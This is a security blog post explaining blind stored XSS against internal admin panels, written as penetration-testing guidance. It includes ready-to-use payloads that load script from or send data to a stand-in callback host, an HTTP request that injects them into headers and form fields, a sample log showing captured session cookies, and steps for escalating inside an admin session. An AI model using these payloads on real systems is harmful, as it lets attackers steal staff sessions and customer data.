cd ../blog

Blind XSS: Firing Payloads Into Screens You Cannot See

Blind XSS executes in a context the attacker never observes directly, such as an internal admin panel. We cover out-of-band probes, where they detonate, and how a callback confirms the hit.

Blind XSS is stored XSS whose render target you cannot see from where you inject — a log viewer, an internal admin dashboard, a support agent's console, a fraud-review tool. The payload sits dormant until a privileged user opens the page that displays it, possibly hours later, and the only way you learn it fired is an out-of-band callback.

Where it hides

Anywhere you submit data that staff later read in a browser is a candidate, and these surfaces are usually invisible during a normal black-box test:

  • Contact and feedback forms reviewed by support staff.
  • Account fields (name, address, company) shown on an internal customer-detail page.
  • HTTP headers logged and rendered in a log-analysis UI — User-Agent, Referer, X-Forwarded-For.
  • Order notes, abuse reports, and KYC submissions opened by reviewers.
  • Anything that flows into an admin "recent signups" or "recent activity" widget.

Because you cannot watch the render, every payload must phone home. Seed a callback-bearing probe into every field and header and wait. A single hosted JS payload that beacons back its location is the standard approach — XSS Hunter and Interactsh both provide this:

"><script src=https://xss.researcher.example/c.js></script>

The hosted c.js reports the page URL, DOM, cookies, and user-agent of wherever it executed, so when an admin opens the page, you receive a full picture of a context you were never able to reach.

Reproducing it

Inject the beacon, then wait for detonation. Plant it broadly — every writable field and several headers in one pass:

POST /support/ticket HTTP/1.1
Host: app.example.com
Content-Type: application/json
User-Agent: "><script src=https://xss.researcher.example/c.js></script>

{"subject": "\"><script src=https://xss.researcher.example/c.js></script>",
 "body": "see subject", "name": "<svg onload=\"import('https://xss.researcher.example/c.js')\">"}

Now there is nothing to do but wait for a human to open the ticket. When they do, your listener receives a hit:

[xss-hunter] FIRED
  url:        https://internal-admin.example.com/support/ticket/8841
  origin:     https://internal-admin.example.com
  cookies:    session=...; csrftoken=...
  user-agent: Mozilla/5.0 ... (support agent's browser)

That callback — especially from an internal hostname you could never reach directly — is the entire finding. It proves the payload executed in a privileged browser on a different origin than the one you submitted to.

A lighter-weight confirmation, when you only need a yes/no, is a bare image or fetch beacon that fires without loading external script:

<img src=x onerror="new Image().src='https://xss.researcher.example/hit?p='+encodeURIComponent(location.href)">

To maximize coverage, vary the payload context so at least one survives whatever the render does:

  • A <script src> for contexts that allow tag injection.
  • An attribute-breakout "><img onerror=...> for value contexts.
  • A bare javascript: or event handler for limited-HTML fields.

Confirming impact

The callback already tells you the origin and often the cookies, which is most of the impact. Escalate by having the hosted payload act inside that privileged session:

  • Capture the internal page's DOM and any visible customer data or tokens.
  • Read the admin CSRF token and fire a state-changing request from within the agent console.
  • Map internal-only endpoints the agent's session can reach and pull their responses.

Because detonation is delayed and silent, patience and broad seeding are the technique — inject everywhere, then watch the listener. Record the injected payload, the callback with its internal URL and origin, and any data the beacon returned. Run this only against assets you are authorized to test, and keep the hosted payload to a benign reporting beacon.